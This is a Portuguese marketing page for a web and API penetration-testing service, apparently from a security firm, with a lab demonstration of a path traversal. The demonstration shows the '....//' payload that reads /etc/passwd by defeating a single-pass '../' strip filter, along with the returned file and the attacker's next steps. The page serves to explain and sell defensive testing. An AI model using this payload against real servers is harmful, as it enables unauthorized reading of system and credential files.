Ataque · Pentest Web & API

Pentest em Web e APIs além do OWASP Top 10.

Testes manuais guiados por padrões (OWASP, NIST, PTES) para encontrar falhas reais de lógica de negócio, autenticação, autorização, criptografia e exposição de dados. Relatório acionável, priorização por risco e reteste incluso.

Pentest Web & API

Cobertura de Web e APIs. Abordagens black/gray/white box conforme seu objetivo.

Por que fazemos

Descubra o que os scanners não veem.

Um teste de intrusão sob medida, manual e criterioso, apoiado por ferramentas e scripts próprios. Vamos além do OWASP Top 10 para avaliar lógica de negócio, fluxos de autenticação e autorização, exposição de dados e controles operacionais.

  • Priorização por risco (CVSS e impacto no negócio).
  • Evidências reproduzíveis (requisições, PoC, prints).
  • Correções recomendadas com referências.
  • Reteste incluso para validar as correções críticas.
Na prática

Como identificamos uma vulnerabilidade.

Reprodução de um Path Traversal com bypass de filtros, capturado durante teste em ambiente de laboratório.

Burp Suite Professional v2025.6 — Project: lab-webapp-pentest
Dashboard
Target
Proxy
Intruder
Repeater
Sequencer
Decoder
Logger
Request
Raw
Headers
Params
GET /api/v1/files/download?name=....//....//....//....//etc/passwd HTTP/2 Host: app-demo.lab.local Cookie: session=eyJhbG...R5cCI Accept: application/octet-stream User-Agent: Mozilla/5.0 (X11; Linux x86_64) X-Request-ID: 7e2a-...-f901 // Tentativa anterior (bloqueada pelo filtro): // GET /api/v1/files/download?name=../../../../etc/passwd // → 400 Bad Request "invalid file path" // // Bypass: ....// → servidor remove ../ → sobra ../
Response 1.2 KB · 18ms
Raw
Headers
Render
HTTP/2 200 OK Content-Type: application/octet-stream Content-Disposition: attachment; filename="passwd" Content-Length: 1184 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin postgres:x:109:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash appuser:x:1000:1000:,,,:/home/appuser:/bin/bash
1
Payload com bypass: ....// em vez de ../ — o filtro do servidor remove ../ uma vez, mas o que sobra forma ../ de novo. Quatro níveis para chegar na raiz.
2
/etc/passwd na resposta: o servidor retornou o arquivo do sistema. Linhas com shell /bin/bash destacadas — são users com login ativo (root, postgres, appuser).
3
Impacto real: leitura arbitrária de arquivos do servidor. Próximo passo do atacante: ler configs, chaves SSH, variáveis de ambiente com credenciais.

Como o bypass funciona

O servidor aplica str.replace("../", "") uma vez. Isso é um filtro insuficiente:

Tentativa 1 — bloqueada
../../../../etc/passwd

Filtro detecta ../ → retorna 400 Bad Request

Tentativa 2 — bypass
....//....//....//....//etc/passwd

Filtro remove ../ de dentro de .....//

Após o strip
../../../../etc/passwd

Sobra exatamente o path original → 200 OK

Entregáveis

O que você recebe.

  • Relatório executivo (resumo para gestão, impactos e riscos priorizados).
  • Relatório técnico com evidências, PoCs e passos de reprodução.
  • Mapa de superfície de ataque: o sistema completo e todas as vulnerabilidades identificadas.
  • Recomendações práticas com referências (OWASP/NIST/CWE).
  • Debrief técnico + executivo, com sessão de perguntas e respostas.
  • Reteste para confirmar as correções críticas.

Vamos fazer um pentest na sua aplicação?